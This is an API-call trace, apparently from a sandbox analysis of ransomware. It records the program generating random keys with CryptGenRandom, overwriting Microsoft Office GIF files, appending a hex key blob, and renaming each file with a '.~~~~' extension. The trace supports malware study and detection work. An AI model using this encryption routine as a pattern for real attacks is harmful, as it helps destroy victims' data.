	[0127.443] GetLastError () returned 0x0
	[0127.444] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffd65, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.444] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x29b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x29b, lpOverlapped=0x0) returned 1
	[0127.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.456] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.456] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.456] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.456] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.456] CloseHandle (hObject=0xc4) returned 1
	[0127.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1f48
	[0127.484] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14752_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14752_.gif.~~~~")) returned 1
	[0127.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0127.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0127.742] GetLastError () returned 0x0
	[0127.742] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.743] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.743] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0127.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0127.743] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24773361490) returned 1
	[0127.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb5989db0, dwHighDateTime=0x1d60e1e)) 
	[0127.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0127.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0127.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0127.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccb68
	[0127.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccb68 | out: hHeap=0x300000) returned 1
	[0127.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e8218
	[0127.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8218 | out: hHeap=0x300000) returned 1
	[0127.744] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.745] GetLastError () returned 0x0
	[0127.745] GetLastError () returned 0x0
	[0127.745] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.745] GetLastError () returned 0x0
	[0127.745] GetLastError () returned 0x0
	[0127.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffff84, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.747] WriteFile (in: hFile=0x130, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x7c, lpOverlapped=0x0) returned 1
	[0127.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.749] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.749] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.749] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.749] CloseHandle (hObject=0x130) returned 1
	[0127.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8218
	[0127.750] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14983_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14983_.gif.~~~~")) returned 1
	[0127.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8218 | out: hHeap=0x300000) returned 1
	[0127.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0127.755] GetLastError () returned 0x0
	[0127.756] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.757] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.757] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0127.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0127.758] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24774782034) returned 1
	[0127.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb59aff10, dwHighDateTime=0x1d60e1e)) 
	[0127.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0127.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0127.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0127.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9890
	[0127.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9890 | out: hHeap=0x300000) returned 1
	[0127.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7648
	[0127.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7648 | out: hHeap=0x300000) returned 1
	[0127.759] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.759] GetLastError () returned 0x0
	[0127.759] GetLastError () returned 0x0
	[0127.759] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.759] GetLastError () returned 0x0
	[0127.759] GetLastError () returned 0x0
	[0127.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffff4a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.761] WriteFile (in: hFile=0x130, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xb6, lpOverlapped=0x0) returned 1
	[0127.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.763] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.763] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.763] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.763] CloseHandle (hObject=0x130) returned 1
	[0127.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7648
	[0127.763] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14984_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14984_.gif.~~~~")) returned 1
	[0127.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7648 | out: hHeap=0x300000) returned 1
	[0127.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0127.766] GetLastError () returned 0x0
	[0127.766] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.767] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.767] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0127.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0127.768] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24775780643) returned 1
	[0127.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb59aff10, dwHighDateTime=0x1d60e1e)) 
	[0127.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0127.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0127.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0127.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f98c8
	[0127.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f98c8 | out: hHeap=0x300000) returned 1
	[0127.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e75a0
	[0127.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e75a0 | out: hHeap=0x300000) returned 1
	[0127.769] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.769] GetLastError () returned 0x0
	[0127.769] GetLastError () returned 0x0
	[0127.769] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.769] GetLastError () returned 0x0
	[0127.769] GetLastError () returned 0x0
	[0127.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffffc0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.771] WriteFile (in: hFile=0x130, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x40, lpOverlapped=0x0) returned 1
	[0127.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.773] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.773] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.773] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.773] CloseHandle (hObject=0x130) returned 1
	[0127.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e75a0
	[0127.773] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14985_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14985_.gif.~~~~")) returned 1
	[0127.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e75a0 | out: hHeap=0x300000) returned 1
	[0127.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0127.775] GetLastError () returned 0x0
	[0127.883] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.884] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0127.884] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0127.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.885] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24787474453) returned 1
	[0127.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb5ae0a10, dwHighDateTime=0x1d60e1e)) 
	[0127.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6438
	[0127.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6438 | out: hHeap=0x300000) returned 1
	[0127.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e80c8
	[0127.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c550
	[0127.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e80c8 | out: hHeap=0x300000) returned 1
	[0127.885] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.886] GetLastError () returned 0x0
	[0127.886] GetLastError () returned 0x0
	[0127.886] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.886] GetLastError () returned 0x0
	[0127.886] GetLastError () returned 0x0
	[0127.890] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffbf0a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.891] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x40f6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x40f6, lpOverlapped=0x0) returned 1
	[0127.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.892] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.892] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.892] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.892] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.892] CloseHandle (hObject=0x120) returned 1
	[0127.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e80c8
	[0127.893] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15018_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15018_.gif.~~~~")) returned 1
	[0127.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e80c8 | out: hHeap=0x300000) returned 1
	[0127.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.894] GetLastError () returned 0x0
	[0127.895] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.897] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0127.897] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0127.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.897] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24788704251) returned 1
	[0127.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb5b06b70, dwHighDateTime=0x1d60e1e)) 
	[0127.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6470
	[0127.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6470 | out: hHeap=0x300000) returned 1
	[0127.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7840
	[0127.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c550
